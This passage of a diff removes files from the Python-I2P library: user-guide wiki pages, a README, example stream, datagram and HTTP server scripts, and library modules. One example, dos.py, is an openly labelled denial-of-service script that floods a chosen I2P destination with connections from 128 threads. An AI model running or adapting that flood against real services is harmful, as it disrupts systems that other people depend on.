nconnect and timeout are the maximum number of connections
|
||||
and maximum time per connection. All other arguments are
|
||||
passed to i2p.socket.socket(). This call blocks until the
|
||||
tunnel is ready.
|
||||
</pre></ul>
|
||||
|
||||
'''TunnelServer''' properties:
|
||||
<ul><pre>
|
||||
dest - I2P Destination of server.
|
||||
session - Session name for server.
|
||||
</pre></ul>
|
||||
|
||||
=== Tunnel Client ===
|
||||
|
||||
class '''TunnelClient'''(session, port, dest, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
|
||||
<ul><pre>
|
||||
Derived from Tunnel.
|
||||
Tunnels localhost:port --> I2P Destination dest.
|
||||
|
||||
A session named 'session' is created locally, for purposes
|
||||
of routing to 'dest'. nconnect and timeout are the maximum
|
||||
number of connections and maximum time per connection. All
|
||||
other arguments are passed to i2p.socket.socket(). This call
|
||||
blocks until the tunnel is ready.
|
||||
</pre></ul>
|
||||
|
||||
'''TunnelClient''' properties:
|
||||
<ul><pre>
|
||||
dest - Local Destination used for routing.
|
||||
remotedest - Remote Destination.
|
||||
session - Session name for local Destination.
|
||||
</pre></ul>
|
@ -1,26 +0,0 @@
|
||||
Title: User's Guide:i2p
|
||||
|
||||
Package <code>i2p</code> is a container package for more specific modules.
|
||||
|
||||
It contains the following modules:
|
||||
|
||||
<ul>
|
||||
[[:User's Guide:i2p.BaseHTTPServer|i2p.BaseHTTPServer]] (Emulate Python BaseHTTPServer module)
|
||||
[[:User's Guide:i2p.CGIHTTPServer|i2p.CGIHTTPServer]] (Emulate Python CGIHTTPServer module)
|
||||
[[:User's Guide:i2p.eep|i2p.eep]] (Retrieve eepsites)
|
||||
[[:User's Guide:i2p.router|i2p.router]] (Manage the I2P router)
|
||||
[[:User's Guide:i2p.select|i2p.select]] (Emulate Python select module)
|
||||
[[:User's Guide:i2p.SimpleHTTPServer|i2p.SimpleHTTPServer]] (Emulate Python SimpleHTTPServer module)
|
||||
[[:User's Guide:i2p.socket|i2p.socket]] (Send and receive across the I2P network)
|
||||
[[:User's Guide:i2p.SocketServer|i2p.SocketServer]] (Emulate Python SocketServer module)
|
||||
[[:User's Guide:i2p.tunnel|i2p.tunnel]] (Exchange data between I2P and regular sockets)
|
||||
</ul>
|
||||
class '''Error'''(Exception):
|
||||
<ul>
|
||||
Base class for all I2P errors.
|
||||
</ul>
|
||||
|
||||
class '''RouterError'''(Error):
|
||||
<ul>
|
||||
Could not connect to router.
|
||||
</ul>
|
@ -1,41 +0,0 @@
|
||||
Title: Main Page
|
||||
|
||||
'''Python-I2P''' is a Python interface to [http://www.i2p.net I2P].
|
||||
|
||||
== Quick Start ==
|
||||
|
||||
Install:
|
||||
|
||||
<ul><pre>
|
||||
python setup.py install
|
||||
</pre></ul>
|
||||
|
||||
Use:
|
||||
|
||||
<ul><pre>
|
||||
>>> from i2p import socket
|
||||
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
|
||||
>>> s.connect('duck.i2p')
|
||||
>>> s.send('GET / HTTP/1.0\r\n\r\n')
|
||||
>>> s.recv(1000)
|
||||
(HTTP response from duck.i2p)
|
||||
</pre></ul>
|
||||
|
||||
See the src/examples/ directory for more code examples.
|
||||
|
||||
== User's Guide ==
|
||||
|
||||
The following modules are available:
|
||||
|
||||
<ul>
|
||||
[[:User's Guide:i2p|i2p]] (Container package)
|
||||
[[:User's Guide:i2p.BaseHTTPServer|i2p.BaseHTTPServer]] (Emulate Python BaseHTTPServer module)
|
||||
[[:User's Guide:i2p.CGIHTTPServer|i2p.CGIHTTPServer]] (Emulate Python CGIHTTPServer module)
|
||||
[[:User's Guide:i2p.eep|i2p.eep]] (Retrieve eepsites)
|
||||
[[:User's Guide:i2p.router|i2p.router]] (Manage the I2P router)
|
||||
[[:User's Guide:i2p.select|i2p.select]] (Emulate Python select module)
|
||||
[[:User's Guide:i2p.SimpleHTTPServer|i2p.SimpleHTTPServer]] (Emulate Python SimpleHTTPServer module)
|
||||
[[:User's Guide:i2p.socket|i2p.socket]] (Send and receive across the I2P network)
|
||||
[[:User's Guide:i2p.SocketServer|i2p.SocketServer]] (Emulate Python SocketServer module)
|
||||
[[:User's Guide:i2p.tunnel|i2p.tunnel]] (Exchange data between I2P and regular sockets)
|
||||
</ul>
|
@ -1,22 +0,0 @@
|
||||
|
||||
The documentation was created by using MediaWiki software.
|
||||
|
||||
This directory houses the wiki text sources.
|
||||
|
||||
Feel free to move to any other documentation system, if
|
||||
it is efficient and easy to maintain.
|
||||
|
||||
Do not use the Monobook skin, as it is Copyrighted.
|
||||
|
||||
-------------------------------------------------------
|
||||
|
||||
The documentation made by epydoc is pretty nice.
|
||||
|
||||
Ideally, one could patch epydoc to use a more condensed
|
||||
2-column format (where there are fewer pages, and it is
|
||||
easier to read).
|
||||
|
||||
With a little work on the output, epydoc could then be
|
||||
used solely for documenting this project.
|
||||
|
||||
Note that the docs produced by epydoc are huge.
|
@ -1,7 +0,0 @@
|
||||
Title: SAM proxy
|
||||
|
||||
A '''SAM proxy''' is run by the I2P router. The proxy allows streams, datagrams, and raw packets to be sent through the I2P network. A client application uses a telnet-like session to communicate with the proxy. In this way, the core features of the I2P library can be used by any language.
|
||||
|
||||
The protocol used for SAM is described in [http://dev.i2p.net/pipermail/i2p/2004-July/000353.html SAM 1.0].
|
||||
|
||||
In practice, a ''SAM library'' is usually written, so that client applications do not need to use the low-level SAM commands.
|
@ -1,21 +0,0 @@
|
||||
<html>
|
||||
<body bgcolor=#ffffff text=#000000 link=#0000ff alink=#0000ff vlink=#0000ff>
|
||||
|
||||
<h1>Python-I2P</h1>
|
||||
|
||||
Documentation:
|
||||
|
||||
<ul>
|
||||
<li><a href="./guide/index.html">User's Guide</a><br>
|
||||
<li><a href="./epydoc/html/index.html">Epydoc Documentation</a><br>
|
||||
</ul>
|
||||
|
||||
How to build epydoc documentation:
|
||||
|
||||
<ul>
|
||||
<li>Install <a href="http://epydoc.sourceforge.net/">epydoc</a>.
|
||||
<li>Run <tt>makedoc.py</tt> in <tt>apps/sam/python/doc/epydoc/</tt>
|
||||
</ul>
|
||||
|
||||
</body>
|
||||
</html>
|
@ -1,34 +0,0 @@
|
||||
|
||||
----------------------------------------
|
||||
Python-I2P v0.91
|
||||
----------------------------------------
|
||||
|
||||
Python-I2P is a Python interface to I2P.
|
||||
|
||||
All files in this directory and subdirectories
|
||||
have been placed in the public domain.
|
||||
|
||||
----------------------------------------
|
||||
Quick Start
|
||||
----------------------------------------
|
||||
|
||||
Install:
|
||||
|
||||
python setup.py install
|
||||
|
||||
Use:
|
||||
|
||||
>>> from i2p import socket
|
||||
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
|
||||
>>> s.connect('duck.i2p')
|
||||
>>> s.send('GET / HTTP/1.0\r\n\r\n')
|
||||
>>> s.recv(1000)
|
||||
(Response from duck.i2p)
|
||||
|
||||
See the src/examples/ directory for more code examples.
|
||||
|
||||
----------------------------------------
|
||||
Full Start
|
||||
----------------------------------------
|
||||
|
||||
See the docs directory for HTML documentation.
|
@ -1,15 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
from distutils.core import setup
|
||||
import os, sys
|
||||
|
||||
os.chdir('./src')
|
||||
|
||||
setup(name="Python I2P API",
|
||||
version="0.91",
|
||||
description="Python Interface to I2P",
|
||||
author="Connelly Barnes",
|
||||
author_email="'Y29ubmVsbHliYXJuZXNAeWFob28uY29t\n'.decode('base64')",
|
||||
url="http://www.i2p.net/",
|
||||
packages=['i2p', 'i2p.pylib'],
|
||||
)
|
@ -1,26 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# cgi_server.py: Simple CGI server
|
||||
# -----------------------------------------------
|
||||
|
||||
myServerSession = "mytestxxx.i2p"
|
||||
|
||||
from i2p import BaseHTTPServer, CGIHTTPServer
|
||||
|
||||
class MyServer(BaseHTTPServer.HTTPServer):
|
||||
pass
|
||||
|
||||
class MyRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler):
|
||||
pass
|
||||
|
||||
def runServer():
|
||||
|
||||
httpd = MyServer(myServerSession, MyRequestHandler)
|
||||
print "MyServer: local SAM session = %s" % myServerSession
|
||||
print "MyServer: dest = %s" % httpd.socket.dest
|
||||
httpd.serve_forever()
|
||||
|
||||
if __name__ == '__main__':
|
||||
runServer()
|
||||
|
@ -1,18 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# datagram.py: Datagram client
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import socket
|
||||
|
||||
print 'Sending a packet to yourserver.i2p...'
|
||||
|
||||
dest = socket.resolve('yourserver.i2p')
|
||||
S = socket.socket('Bob', socket.SOCK_DGRAM)
|
||||
S.sendto('Hello packet', 0, dest)
|
||||
|
||||
# Get packet up to 1000 bytes -- the rest is discarded.
|
||||
(data, dest) = S.recvfrom(1000)
|
||||
|
||||
print data
|
@ -1,21 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# ---------------------------------------------------
|
||||
# datagram_noblock.py: Non-blocking datagram server
|
||||
# ---------------------------------------------------
|
||||
|
||||
from i2p import socket
|
||||
import time
|
||||
|
||||
S = socket.socket('Eve', socket.SOCK_DGRAM)
|
||||
print 'Serving at:', S.dest
|
||||
S.setblocking(False)
|
||||
|
||||
while True:
|
||||
try:
|
||||
(data, dest) = S.recvfrom(1000) # Read packet
|
||||
print 'Got', data, 'from', dest
|
||||
S.sendto('Hi client!', 0, dest)
|
||||
except socket.BlockError: # No data available
|
||||
pass
|
||||
time.sleep(0.01) # Reduce CPU usage
|
@ -1,15 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# datagram_server.py: Datagram server
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import socket
|
||||
|
||||
S = socket.socket('Eve', socket.SOCK_DGRAM)
|
||||
print 'Serving at:', S.dest
|
||||
|
||||
while True:
|
||||
(data, dest) = S.recvfrom(1000) # Read packet
|
||||
print 'Got', data, 'from', dest
|
||||
S.sendto('Hi client!', 0, dest)
|
@ -1,34 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# dos.py: Noneffective denial of service tool
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import socket
|
||||
import threading, sys
|
||||
|
||||
def dos_stream(dest):
|
||||
"""Perform a DOS attack on a stream server."""
|
||||
dest = socket.resolve(dest)
|
||||
|
||||
# DOS code, runs in n separate threads.
|
||||
def f():
|
||||
while True:
|
||||
S = socket.socket(dest, socket.SOCK_STREAM)
|
||||
S.connect(dest)
|
||||
S.send('GET / HTTP/1.0\r\n\r\n')
|
||||
S.close()
|
||||
|
||||
# Start up the threads.
|
||||
for i in range(128):
|
||||
T = threading.Thread(target=f)
|
||||
T.start()
|
||||
|
||||
def syntax():
|
||||
print "Usage: python dos.py Destination"
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) == 2:
|
||||
dos_stream(sys.argv[1])
|
||||
else:
|
||||
syntax()
|
@ -1,15 +0,0 @@
|
||||
|
||||
Examples:
|
||||
|
||||
cgi_server.py - Example of CGIHTTPServer
|
||||
datagram.py - Datagram client
|
||||
datagram_noblock.py - Non-blocking datagram server
|
||||
datagram_server.py - Blocking datagram server
|
||||
dos.py - Denial of service tool
|
||||
raw.py - Raw client
|
||||
raw_noblock.py - Non-blocking raw server
|
||||
raw_server.py - Raw server
|
||||
stream.py - Stream client
|
||||
stream_eepget.py - Get an eepsite using sockets
|
||||
stream_noblock.py - Non-blocking stream server
|
||||
stream_server.py - Blocking stream server
|
@ -1,11 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# raw.py: Raw client
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import socket
|
||||
|
||||
dest = socket.resolve('yourserver.i2p') # Send to dest
|
||||
S = socket.socket('Carol', socket.SOCK_RAW)
|
||||
S.sendto('Hello packet', 0, dest)
|
@ -1,20 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# ---------------------------------------------------
|
||||
# raw_noblock.py: Non-blocking raw server
|
||||
# ---------------------------------------------------
|
||||
|
||||
from i2p import socket
|
||||
import time
|
||||
|
||||
S = socket.socket('Eve', socket.SOCK_RAW)
|
||||
print 'Serving at:', S.dest
|
||||
S.setblocking(False)
|
||||
|
||||
while True:
|
||||
try:
|
||||
data = S.recv(1000) # Read packet
|
||||
print 'Got', data
|
||||
except socket.BlockError: # No data available
|
||||
pass
|
||||
time.sleep(0.01) # Reduce CPU usage
|
@ -1,14 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# raw_server.py: Raw server
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import socket
|
||||
|
||||
S = socket.socket('Eve', socket.SOCK_RAW)
|
||||
print 'Serving at:', S.dest
|
||||
|
||||
while True:
|
||||
data = S.recv(1000) # Read packet
|
||||
print 'Got', data
|
@ -1,12 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# stream.py: Simple stream client
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import socket
|
||||
|
||||
S = socket.socket('Alice', socket.SOCK_STREAM)
|
||||
S.connect('duck.i2p')
|
||||
S.send('GET / HTTP/1.0\r\n\r\n') # Send request
|
||||
print S.recv(1000) # Read up to 1000 bytes
|
@ -1,18 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# stream_eepget.py: Get an eepsite using sockets
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import socket
|
||||
|
||||
S = socket.socket('Alice', socket.SOCK_STREAM)
|
||||
S.connect('duck.i2p')
|
||||
S.send('GET / HTTP/1.0\r\n\r\n') # Send request
|
||||
f = S.makefile() # File object
|
||||
|
||||
while True: # Read header
|
||||
line = f.readline().strip() # Read a line
|
||||
if line == '': break # Content begins
|
||||
|
||||
print f.read() # Read file object
|
@ -1,40 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# stream_noblock.py: Non-blocking stream server
|
||||
# -----------------------------------------------
|
||||
|
||||
import i2p
|
||||
from i2p import socket
|
||||
import thread, time
|
||||
|
||||
S = socket.socket('Dave', socket.SOCK_STREAM)
|
||||
S.listen(10) # Queue up to 10 connections
|
||||
S.setblocking(False) # Non-blocking
|
||||
print 'Serving at:', S.dest
|
||||
|
||||
def handle_connection(C):
|
||||
"""Handle a single connection in a thread of its own."""
|
||||
try:
|
||||
f = C.makefile() # File object
|
||||
req = f.readline() # Read HTTP request
|
||||
|
||||
s = '<h1>Hello!</h1>' # String to send back
|
||||
|
||||
f.write('HTTP/1.0 200 OK\r\nContent-Type: text/html' +
|
||||
'\r\nContent-Length: ' + str(int(len(s))) + '\r\n\r\n' + s)
|
||||
|
||||
f.close() # Close file
|
||||
C.close() # Close connection
|
||||
except socket.Error, e:
|
||||
# Recover from socket errors
|
||||
print 'Warning:', str(e)
|
||||
|
||||
while True:
|
||||
try:
|
||||
(C, remotedest) = S.accept() # Get a connection
|
||||
thread.start_new_thread(handle_connection, (C,))
|
||||
except socket.BlockError:
|
||||
# Ignore 'command would have blocked' errors
|
||||
pass
|
||||
time.sleep(0.01) # Reduce CPU usage
|
@ -1,29 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# -----------------------------------------------
|
||||
# stream_server.py: Simple stream server
|
||||
# -----------------------------------------------
|
||||
|
||||
import i2p
|
||||
from i2p import socket
|
||||
|
||||
S = socket.socket('Dave', socket.SOCK_STREAM)
|
||||
S.listen(10) # Queue up to 10 connections
|
||||
print 'Serving at:', S.dest
|
||||
|
||||
while True:
|
||||
try:
|
||||
(C, remotedest) = S.accept() # Get a connection
|
||||
f = C.makefile() # File object
|
||||
req = f.readline() # Read HTTP request
|
||||
|
||||
s = '<h1>Hello!</h1>' # String to send back
|
||||
|
||||
f.write('HTTP/1.0 200 OK\r\nContent-Type: text/html' +
|
||||
'\r\nContent-Length: ' + str(int(len(s))) + '\r\n\r\n' + s)
|
||||
|
||||
f.close() # Close file
|
||||
C.close() # Close connection
|
||||
except socket.Error, e:
|
||||
# Recover from socket errors
|
||||
print 'Warning:', str(e)
|
@ -1,19 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
# --------------------------------------------------
|
||||
# py2exe_demo.py: Sample setup script for py2exe
|
||||
# --------------------------------------------------
|
||||
|
||||
"""
|
||||
Sample setup script for py2exe.
|
||||
|
||||
Use 'python py2exe_demo.py install' to build an exe.
|
||||
|
||||
A zip archive of the distribution is about 630 KB
|
||||
(Delete _ssl.pyd to save space).
|
||||
"""
|
||||
|
||||
from distutils.core import setup
|
||||
import py2exe
|
||||
|
||||
setup(console=["../stream_eepget.py"])
|
@ -1,83 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
"""
|
||||
Emulation of Python BaseHTTPServer module using I2P sockets.
|
||||
|
||||
The Python module is described at
|
||||
http://www.python.org/doc/current/lib/module-BaseHTTPServer.html
|
||||
|
||||
To get a server going, use:
|
||||
|
||||
>>> from i2p import BaseHTTPServer
|
||||
>>> BaseHTTPServer.test().
|
||||
|
||||
Consult the documentation for function test() to change basic
|
||||
server settings, such as the session name.
|
||||
|
||||
A fully customizable example:
|
||||
|
||||
>>> from i2p import BaseHTTPServer
|
||||
>>> session = "mytestxxx.i2p" # SAM session name
|
||||
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
|
||||
>>> class MyRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): pass
|
||||
>>> httpd = MyServer(session, MyRequestHandler)
|
||||
>>> httpd.socket.dest
|
||||
(Base64 Destination of server)
|
||||
>>> httpd.serve_forever()
|
||||
|
||||
"""
|
||||
|
||||
# By aum.
|
||||
|
||||
# Hack to keep Python from importing from current directory:
|
||||
# Use pylib package, then use = signs instead of from x import y.
|
||||
import pylib
|
||||
BaseHTTPServer = pylib.BaseHTTPServer
|
||||
|
||||
import sys
|
||||
import i2p.SocketServer
|
||||
|
||||
__version__ = "0.3"
|
||||
|
||||
__all__ = ["HTTPServer", "BaseHTTPRequestHandler", "test"]
|
||||
|
||||
DEFAULT_ERROR_MESSAGE = BaseHTTPServer.DEFAULT_ERROR_MESSAGE
|
||||
|
||||
class HTTPServer(i2p.SocketServer.TCPServer, BaseHTTPServer.HTTPServer):
|
||||
"""
|
||||
Same interface as Python class
|
||||
BaseHTTPServer.HTTPServer.
|
||||
"""
|
||||
|
||||
class BaseHTTPRequestHandler(
|
||||
i2p.SocketServer.StreamRequestHandler,
|
||||
BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
"""
|
||||
Same interface as Python class
|
||||
BaseHTTPServer.BaseHTTPRequestHandler.
|
||||
"""
|
||||
|
||||
def test(HandlerClass = BaseHTTPRequestHandler,
|
||||
ServerClass = HTTPServer, protocol="HTTP/1.0",
|
||||
session = "mytestxxx.i2p"):
|
||||
"""
|
||||
Test the HTTP request handler class.
|
||||
|
||||
This runs an I2P TCP server under SAM session 'session'.
|
||||
If a single command line argument is given, the argument is used
|
||||
instead as the SAM session name.
|
||||
"""
|
||||
|
||||
if sys.argv[1:] and __name__ == '__main__':
|
||||
session = sys.argv[1]
|
||||
|
||||
HandlerClass.protocol_version = protocol
|
||||
httpd = ServerClass(session, HandlerClass)
|
||||
|
||||
print "Serving HTTP on", session, "..."
|
||||
print "Destination follows:"
|
||||
print httpd.socket.dest
|
||||
httpd.serve_forever()
|
||||
|
||||
if __name__ == '__main__':
|
||||
test()
|
@ -1,69 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
"""
|
||||
Emulation of Python CGIHTTPServer module using I2P sockets.
|
||||
|
||||
The Python module is described at
|
||||
http://www.python.org/doc/current/lib/module-CGIHTTPServer.html
|
||||
|
||||
To get a server going, use:
|
||||
|
||||
>>> from i2p import CGIHTTPServer
|
||||
>>> CGIHTTPServer.test().
|
||||
|
||||
Consult the documentation for function test() to change basic
|
||||
server settings, such as the session name.
|
||||
|
||||
A fully customizable example:
|
||||
|
||||
>>> from i2p import BaseHTTPServer, CGIHTTPServer
|
||||
>>> session = "mytestxxx.i2p" # SAM session name
|
||||
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
|
||||
>>> class MyRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler): pass
|
||||
>>> httpd = MyServer(session, MyRequestHandler)
|
||||
>>> httpd.socket.dest
|
||||
(Base64 Destination of server)
|
||||
>>> httpd.serve_forever()
|
||||
|
||||
"""
|
||||
|
||||
# By aum.
|
||||
__all__ = ["CGIHTTPRequestHandler", "test"]
|
||||
|
||||
# Hack to keep Python from importing from current directory:
|
||||
# Use pylib package, then use = signs instead of from x import y.
|
||||
import pylib
|
||||
CGIHTTPServer = pylib.CGIHTTPServer
|
||||
nobody_uid = CGIHTTPServer.nobody_uid
|
||||
executable = CGIHTTPServer.executable
|
||||
|
||||
import sys
|
||||
import i2p.BaseHTTPServer
|
||||
import i2p.SimpleHTTPServer
|
||||
|
||||
HTTPServer = i2p.BaseHTTPServer.HTTPServer
|
||||
class CGIHTTPRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler):
|
||||
"""
|
||||
Same interface as Python class
|
||||
CGIHTTPServer.CGIHTTPRequestHandler.
|
||||
"""
|
||||
|
||||
def test(HandlerClass = CGIHTTPRequestHandler,
|
||||
ServerClass = i2p.BaseHTTPServer.HTTPServer,
|
||||
session = "mytestxxx.i2p"):
|
||||
"""
|
||||
Test the HTTP CGI request handler class.
|
||||
|
||||
This runs an I2P TCP server under SAM session 'session'.
|
||||
If a single command line argument is given, the argument is used
|
||||
instead as the SAM session name.
|
||||
"""
|
||||
if sys.argv[1:] and __name__ == '__main__':
|
||||
session = sys.argv[1]
|
||||
|
||||
i2p.SimpleHTTPServer.test(HandlerClass, ServerClass,
|
||||
session=session)
|
||||
|
||||
if __name__ == '__main__':
|
||||
test()
|
||||
|
@ -1,68 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
"""
|
||||
Emulation of Python SimpleHTTPServer module using I2P sockets.
|
||||
|
||||
The Python module is described at
|
||||
http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html
|
||||
|
||||
To get a server going, use:
|
||||
|
||||
>>> from i2p import SimpleHTTPServer
|
||||
>>> SimpleHTTPServer.test().
|
||||
|
||||
Consult the documentation for function test() to change basic
|
||||
server settings, such as the session name.
|
||||
|
||||
A fully customizable example:
|
||||
|
||||
>>> from i2p import BaseHTTPServer, SimpleHTTPServer
|
||||
>>> session = "mytestxxx.i2p" # SAM session name
|
||||
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
|
||||
>>> class MyRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): pass
|
||||
>>> httpd = MyServer(session, MyRequestHandler)
|
||||
>>> httpd.socket.dest
|
||||
(Base64 Destination of server)
|
||||
>>> httpd.serve_forever()
|
||||
|
||||
"""
|
||||
|
||||
# By aum.
|
||||
|
||||
# Hack to keep Python from importing from current directory:
|
||||
# Use pylib package, then use = signs instead of from x import y.
|
||||
import pylib
|
||||
SimpleHTTPServer = pylib.SimpleHTTPServer
|
||||
|
||||
import sys
|
||||
import i2p.BaseHTTPServer
|
||||
|
||||
__version__ = "0.1.0"
|
||||
|
||||
__all__ = ["SimpleHTTPRequestHandler", "test"]
|
||||
|
||||
HTTPServer = i2p.BaseHTTPServer.HTTPServer
|
||||
class SimpleHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
|
||||
"""
|
||||
Same interface as Python class
|
||||
SimpleHTTPServer.SimpleHTTPRequestHandler.
|
||||
"""
|
||||
|
||||
def test(HandlerClass = SimpleHTTPRequestHandler,
|
||||
ServerClass = i2p.BaseHTTPServer.HTTPServer,
|
||||
session = "mytestxxx.i2p"):
|
||||
"""
|
||||
Test the HTTP simple request handler class.
|
||||
|
||||
This runs an I2P TCP server under SAM session 'session'.
|
||||
If a single command line argument is given, the argument is used
|
||||
instead as the SAM session name.
|
||||
"""
|
||||
if sys.argv[1:] and __name__ == '__main__':
|
||||
session = sys.argv[1]
|
||||
|
||||
i2p.BaseHTTPServer.test(HandlerClass, ServerClass,
|
||||
session=session)
|
||||
|
||||
if __name__ == '__main__':
|
||||
test()
|
@ -1,72 +0,0 @@
|
||||
|
||||
"""
|
||||
Emulation of Python SocketServer module using I2P sockets.
|
||||
|
||||
The Python module is described at
|
||||
http://www.python.org/doc/current/lib/module-SocketServer.html
|
||||
|
||||
"""
|
||||
|
||||
# By aum.
|
||||
|
||||
# Hack to keep Python from importing from current directory:
|
||||
# Use pylib package, then use = signs instead of from x import y.
|
||||
import pylib
|
||||
SocketServer = pylib.SocketServer
|
||||
|
||||
import i2p.socket
|
||||
class BaseServer(SocketServer.BaseServer):
|
||||
pass
|
||||
class TCPServer(SocketServer.TCPServer, BaseServer):
|
||||
|
||||
socket_type = i2p.socket.SOCK_STREAM
|
||||
|
||||
def __init__(self, session, RequestHandlerClass):
|
||||
"""
|
||||
Constructor. May be extended, do not override.
|
||||
|
||||
The 'session' argument indicates the SAM session
|
||||
name that should be used for the server. See module
|
||||
i2p.socket for details on SAM sessions.
|
||||
"""
|
||||
BaseServer.__init__(self, session, RequestHandlerClass)
|
||||
|
||||
#self.socket = socket.socket(self.address_family,
|
||||
# self.socket_type)
|
||||
self.session = session
|
||||
self.socket = i2p.socket.socket(session, self.socket_type)
|
||||
|
||||
self.server_bind()
|
||||
self.server_activate()
|
||||
|
||||
class UDPServer(TCPServer, SocketServer.UDPServer):
|
||||
pass
|
||||
|
||||
class ForkingMixIn(SocketServer.ForkingMixIn):
|
||||
pass
|
||||
|
||||
class ThreadingMixIn(SocketServer.ThreadingMixIn):
|
||||
pass
|
||||
|
||||
class ForkingUDPServer(ForkingMixIn, UDPServer):
|
||||
pass
|
||||
|
||||
class ForkingTCPServer(ForkingMixIn, TCPServer):
|
||||
pass
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
pass
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
pass
|
||||
|
||||
class BaseRequestHandler(SocketServer.BaseRequestHandler):
|
||||
pass
|
||||
|
||||
class StreamRequestHandler(SocketServer.StreamRequestHandler):
|
||||
pass
|
||||
|
||||
class DatagramRequestHandler(SocketServer.DatagramRequestHandler):
|
||||
pass
|
||||
|
||||
|
@ -1,22 +0,0 @@
|
||||
"""
|
||||
i2p -- I2P Python interface
|
||||
"""
|
||||
|
||||
__all__ = [
|
||||
'BaseHTTPServer',
|
||||
'CGIHTTPServer',
|
||||
'eep',
|
||||
'router',
|
||||
'select',
|
||||
'SimpleHTTPServer',
|
||||
'socket',
|
||||
'SocketServer',
|
||||
'tunnel',
|
||||
]
|
||||
|
||||
class Error(Exception):
|
||||
"""Base class for all I2P errors."""
|
||||
|
||||
class RouterError(Error):
|
||||
"""Could not connect to router."""
|
||||
|
@ -1,46 +0,0 @@
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# eep.py: Eeproxy access module
|
||||
# -------------------------------------------------------------
|
||||
|
||||
"""
|
||||
Eeproxy access module
|
||||
"""
|
||||
|
||||
import urllib2
|
||||
|
||||
eepaddr = '127.0.0.1:4444' # Default port for eeproxy
|
||||
|
||||
# --------------------------------------------------
|
||||
# Functions
|
||||
# --------------------------------------------------
|
||||
|
||||
def urlopen(url, eepaddr=eepaddr):
|
||||
"""Like urllib2.urlopen(url), but only works for eep-sites.
|
||||
Example: f = urlopen('http://duck.i2p/index.html')"""
|
||||
if url.find('http://') != 0: url = 'http://' + url
|
||||
|
||||
# Handle I2P Destination
|
||||
if len(url) >= 256:
|
||||
suffix = url[len('http://'):]
|
||||
if suffix[:4] != 'i2p/': url = 'http://i2p/' + suffix
|
||||
|
||||
# Add trailing slash
|
||||
if url.find('/', len('http://')) < 0: url = url + '/'
|
||||
|
||||
# Remove http:// and trailing slash from eepaddr.
|
||||
if eepaddr.find('http://') == 0: eepaddr = eepaddr[len('http://'):]
|
||||
eepaddr = eepaddr.rstrip('/')
|
||||
|
||||
proxy = urllib2.ProxyHandler( \
|
||||
{'http': 'http://' + eepaddr})
|
||||
opener = urllib2.build_opener(proxy, urllib2.HTTPHandler)
|
||||
return opener.open(url)
|
||||
|
||||
def urlget(url, eepaddr=eepaddr):
|
||||
"""Get contents of an eepsite.
|
||||
Example: urlget('http://duck.i2p/')."""
|
||||
f = urlopen(url, eepaddr=eepaddr)
|
||||
ans = f.read()
|
||||
f.close()
|
||||
return ans
|
@ -1,17 +0,0 @@
|
||||
|
||||
# ------------------------------------------------
|
||||
# Hack to import the Python library modules
|
||||
# when names conflict in our package.
|
||||
# ------------------------------------------------
|
||||
|
||||
import sys
|
||||
sys.path.reverse()
|
||||
|
||||
import socket
|
||||
import select
|
||||
import BaseHTTPServer
|
||||
import SocketServer
|
||||
import CGIHTTPServer
|
||||
import SimpleHTTPServer
|
||||
|
||||
sys.path.reverse()
|
@ -1,185 +0,0 @@
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# router.py: Router control module
|
||||
# -------------------------------------------------------------
|
||||
|
||||
"""
|
||||
Router control module
|
||||
"""
|
||||
|
||||
import i2p
|
||||
import i2p.socket
|
||||
import i2p.eep
|
||||
from i2p.pylib import socket as pysocket # Import Python socket
|
||||
|
||||
import os, sys
|
||||
import os.path
|
||||
import time
|
||||
import threading
|
||||
import urllib2
|
||||
|
||||
check_addrlist = [i2p.socket.samaddr, i2p.eep.eepaddr]
|
||||
|
||||
